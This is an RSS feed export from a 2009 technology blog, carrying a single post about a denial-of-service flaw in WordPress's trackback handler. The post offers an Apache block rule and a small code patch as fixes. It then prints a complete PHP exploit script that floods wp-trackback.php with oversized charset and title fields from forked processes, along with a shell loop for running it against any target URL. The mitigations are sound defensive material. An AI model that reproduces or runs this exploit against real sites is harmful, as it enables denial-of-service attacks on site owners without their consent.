<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Steve Fortuna &#187; Security</title>
	<atom:link href="http://www.stevefortuna.com/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.stevefortuna.com</link>
	<description>Technology Blog</description>
	<lastBuildDate>Thu, 09 Sep 2010 00:33:19 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>New 0-Day WordPress Exploit</title>
		<link>http://www.stevefortuna.com/new-0-day-wordpress-exploit/</link>
		<comments>http://www.stevefortuna.com/new-0-day-wordpress-exploit/#comments</comments>
		<pubDate>Mon, 19 Oct 2009 18:36:51 +0000</pubDate>
		<dc:creator>steve</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.stevefortuna.com/?p=66</guid>
		<description><![CDATA[WordPress is vulnerable to a very dirty exploit right now as of 2.8.4. There&#8217;s a resource exhaustion DoS that is floating around the public right now. It&#8217;s a vulnerability in wp-trackbacks.php that hurts. Here&#8217;s the results from a quick test against my server: 13:30:29 up 36 days, 1:06, 12 users, load average: 45.06, 17.11, 6.24 [...]]]></description>
			<content:encoded><![CDATA[<p>WordPress is vulnerable to a very dirty exploit right now as of 2.8.4.  There&#8217;s a resource exhaustion DoS that is floating around the public right now.  It&#8217;s a vulnerability in wp-trackbacks.php that hurts.</p>
<p>Here&#8217;s the results from a quick test against my server:</p>
<p>13:30:29 up 36 days,  1:06, 12 users,  load average: 45.06, 17.11, 6.24</p>
<p>Very dirty.</p>
<p>Here&#8217;s a temporary fix that can be implemented until we get a real patch.</p>
<p>Add the following lines to your Apache 2 config file:<br />
<code>&lt;Files ~ "wp-trackback.php"&gt;<br />
    Order allow,deny<br />
    Deny from all<br />
&lt;/Files&gt;</code><br />
This should be placed in the main config, not a virtual hosts config.  This will disable any URLs with &#8220;wp-trackback.php&#8221; in it.  This is a quick and ugly fix, but will help against this attack.</p>
<p>I expect WordPress will have an update soon.</p>
<p><strong>UPDATE:</strong>  With the help of a friend we have created a quick fix:</p>
<p>In line #47 of wp-trackback.php, add this:</p>
<p><code>if(strlen($charset) &gt; 50)<br />
  die;</code></p>
<p>Here&#8217;s the actual exploit.</p>
<p><code>&lt;?php<br />
/*<br />
 * wordpress Resource exhaustion Exploit<br />
 * http://rooibo.wordpress.com/<br />
 * security@wordpress.org contacted and get a response,<br />
 * but no solution available.<br />
 *<br />
 * [18/10/2009 20:31:00] modified by Zerial http://blog.zerial.org &lt;panic@zerial.org&gt;<br />
 *<br />
 * exploiting:<br />
 * you must install php-cli (command line interface)<br />
 * $ while /bin/true; do php wp-trackbacks_dos.php http://target.com/wordpress; done<br />
 *<br />
 */<br />
if(count($argv) &lt; 2)<br />
    die("You need to specify a url to attack\n");<br />
$url = $argv[1];<br />
$data = parse_url($url);<br />
if(count($data) &lt; 2)<br />
    die("The url should have http:// in front of it, and should be complete.\n");<br />
$path = (count($data)==2)?"":$data['path'];<br />
$path = trim($path,'/').'/wp-trackback.php';<br />
if($path{0} != '/')<br />
    $path = '/'.$path;<br />
$b = ""; $b = str_pad($b,140000,'ABCEDFG').utf8_encode($b);<br />
$charset = "";<br />
$charset = str_pad($charset,140000,"UTF-8,");<br />
$str = 'charset='.urlencode($charset);<br />
$str .= '&amp;url=www.example.com';<br />
$str .= '&amp;title='.$b;<br />
$str .= '&amp;blog_name=lol';<br />
$str .= '&amp;excerpt=lol';<br />
for($n = 0; $n &lt;= 5; $n++){<br />
    $fp = @fsockopen($data['host'],80);<br />
        if(!$fp)<br />
        die("unable to connect to: ".$data['host']."\n");<br />
    $pid[$n] = pcntl_fork();<br />
    if(!$pid[$n]){<br />
        fputs($fp, "POST $path HTTP/1.1\r\n");<br />
        fputs($fp, "Host: ".$data['host']."\r\n");<br />
        fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");<br />
        fputs($fp, "Content-length: ".strlen($str)."\r\n");<br />
        fputs($fp, "Connection: close\r\n\r\n");<br />
        fputs($fp, $str."\r\n\r\n");<br />
        echo "hit!\n";<br />
    }<br />
}<br />
?&gt;</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.stevefortuna.com/new-0-day-wordpress-exploit/feed/</wfw:commentRss>
		<slash:comments>25</slash:comments>
		</item>
	</channel>
</rss>
